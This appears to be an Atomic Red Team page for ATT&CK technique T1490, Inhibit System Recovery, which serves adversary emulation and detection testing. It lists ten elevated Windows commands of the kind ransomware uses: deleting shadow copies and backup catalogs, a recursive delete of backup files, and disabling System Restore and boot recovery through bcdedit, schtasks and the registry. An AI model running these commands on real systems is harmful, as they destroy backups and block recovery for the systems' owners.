T1490
Inhibit System Recovery
Description from ATT&CK
Adversaries may delete or remove built-in data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) This may deny access to available backups and recovery options.
Operating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of Data Destruction and Data Encrypted for Impact.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) Furthermore, adversaries may disable recovery notifications, then corrupt backups.(Citation: disable_notif_synology_ransom)
A number of native Windows utilities have been used by adversaries to disable or delete system recovery features:
- vssadmin.exe can be used to delete all volume shadow copies on a system - vssadmin.exe delete shadows /all /quiet
- Windows Management Instrumentation can be used to delete volume shadow copies - wmic shadowcopy delete
- wbadmin.exe can be used to delete the Windows Backup Catalog - wbadmin.exe delete catalog -quiet
- bcdedit.exe can be used to disable automatic Windows recovery features by modifying boot configuration data - bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
- REAgentC.exe can be used to disable Windows Recovery Environment (WinRE) repair/recovery options of an infected system
On network devices, adversaries may leverage Disk Wipe to delete backup firmware images and reformat the file system, then System Shutdown/Reboot to reload the device. Together this activity may leave network devices completely inoperable and inhibit recovery operations.
Adversaries may also delete “online” backups that are connected to their network – whether via network storage media or through folders that sync to cloud services.(Citation: ZDNet Ransomware Backups 2020) In cloud environments, adversaries may disable versioning and backup policies and delete snapshots, machine images, and prior versions of objects designed to be used in disaster recovery scenarios.(Citation: Dark Reading Code Spaces Cyber Attack)(Citation: Rhino Security Labs AWS S3 Ransomware)
Atomic Tests
Atomic Test #1 - Windows - Delete Volume Shadow Copies
Deletes Windows Volume Shadow Copies. This technique is used by numerous ransomware families and APT malware such as Olympic Destroyer. Upon execution, if no shadow volumes exist the message "No items found that satisfy the query." will be displayed. If shadow volumes are present, it will delete them without printing output to the screen. This is because the /quiet parameter was passed which also suppresses the y/n confirmation prompt. Shadow copies can only be created on Windows server or Windows 8.
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc788055(v=ws.11)
Supported Platforms: windows
auto_generated_guid: 43819286-91a9-4369-90ed-d31fb4da2c01
Inputs:
None
Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)
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vssadmin.exe delete shadows /all /quiet
Dependencies: Run with powershell!
Description: Create volume shadow copy of C:\ . This prereq command only works on Windows Server or Windows 8.
Check Prereq Commands:
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if(!(vssadmin.exe list shadows | findstr "No items found that satisfy the query.")) { exit 0 } else { exit 1 }
Get Prereq Commands:
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vssadmin.exe create shadow /for=c:
Atomic Test #2 - Windows - Delete Volume Shadow Copies via WMI
Deletes Windows Volume Shadow Copies via WMI. This technique is used by numerous ransomware families and APT malware such as Olympic Destroyer. Shadow copies can only be created on Windows server or Windows 8.
Supported Platforms: windows
auto_generated_guid: 6a3ff8dd-f49c-4272-a658-11c2fe58bd88
Inputs:
None
Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)
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wmic.exe shadowcopy delete
Atomic Test #3 - Windows - wbadmin Delete Windows Backup Catalog
Deletes Windows Backup Catalog. This technique is used by numerous ransomware families and APT malware such as Olympic Destroyer. Upon execution, "The backup catalog has been successfully deleted." will be displayed in the PowerShell session.
Supported Platforms: windows
auto_generated_guid: 263ba6cb-ea2b-41c9-9d4e-b652dadd002c
Inputs:
None
Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)
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wbadmin delete catalog -quiet
Atomic Test #4 - Windows - Disable Windows Recovery Console Repair
Disables repair by the Windows Recovery Console on boot. This technique is used by numerous ransomware families and APT malware such as Olympic Destroyer. Upon execution, "The operation completed successfully." will be displayed in the powershell session.
Supported Platforms: windows
auto_generated_guid: cf21060a-80b3-4238-a595-22525de4ab81
Inputs:
None
Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)
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bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
bcdedit.exe /set {default} recoveryenabled no
Cleanup Commands:
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bcdedit.exe /set {default} bootstatuspolicy DisplayAllFailures >nul 2>&1
bcdedit.exe /set {default} recoveryenabled yes >nul 2>&1
Atomic Test #5 - Windows - Delete Volume Shadow Copies via WMI with PowerShell
Deletes Windows Volume Shadow Copies with PowerShell code and Get-WMIObject. This technique is used by numerous ransomware families such as Sodinokibi/REvil. Executes Get-WMIObject. Shadow copies can only be created on Windows server or Windows 8, so upon execution there may be no output displayed.
Supported Platforms: windows
auto_generated_guid: 39a295ca-7059-4a88-86f6-09556c1211e7
Inputs:
None
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
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Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete();}
Atomic Test #6 - Windows - Delete Backup Files
Deletes backup files in a manner similar to Ryuk ransomware. Upon exection, many "access is denied" messages will appear as the commands try to delete files from around the system.
Supported Platforms: windows
auto_generated_guid: 6b1dbaf6-cc8a-4ea6-891f-6058569653bf
Inputs:
None
Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)
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del /s /f /q c:\*.VHD c:\*.bac c:\*.bak c:\*.wbcat c:\*.bkf c:\Backup*.* c:\backup*.* c:\*.set c:\*.win c:\*.dsk
Atomic Test #7 - Windows - wbadmin Delete systemstatebackup
Deletes the Windows systemstatebackup using wbadmin.exe. This technique is used by numerous ransomware families. This may only be successful on server platforms that have Windows Backup enabled.
Supported Platforms: windows
auto_generated_guid: 584331dd-75bc-4c02-9e0b-17f5fd81c748
Inputs:
None
Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)
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wbadmin delete systemstatebackup -keepVersions:0
Atomic Test #8 - Windows - Disable the SR scheduled task
Use schtasks.exe to disable the System Restore (SR) scheduled task
Supported Platforms: windows
auto_generated_guid: 1c68c68d-83a4-4981-974e-8993055fa034
Inputs:
None
Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)
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schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
Cleanup Commands:
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schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /enable >nul 2>&1
Atomic Test #9 - Disable System Restore Through Registry
Modify the registry of the currently logged in user using reg.exe via cmd console to disable system restore on the computer. See how remcos RAT abuses this technique- https://www.virustotal.com/gui/file/2d7855bf6470aa323edf2949b54ce2a04d9e38770f1322c3d0420c2303178d91/details
Supported Platforms: windows
auto_generated_guid: 66e647d1-8741-4e43-b7c1-334760c2047f
Inputs:
None
Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)
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reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t "REG_DWORD" /d "1" /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t "REG_DWORD" /d "1" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "DisableConfig" /t "REG_DWORD" /d "1" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "DisableSR" /t "REG_DWORD" /d "1" /f
Cleanup Commands:
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reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /f >nul 2>&1
reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /f >nul 2>&1
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "DisableConfig" /f >nul 2>&1
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "DisableSR" /f >nul 2>&1
Atomic Test #10 - Windows - vssadmin Resize Shadowstorage Volume
Adversaries generally try to Resize Shadowstorage Volume using vssadmin.exe to avoid the shadow volumes being made again. This technique is typically found used by adversaries during a ransomware event and a precursor to deleting the shadowstorage.
Supported Platforms: windows
auto_generated_guid: da558b07-69ae-41b9-b9d4-4d98154a7049
Inputs:
None
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
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vssadmin resize shadowstorage /For=C: /On=C: /MaxSize=20%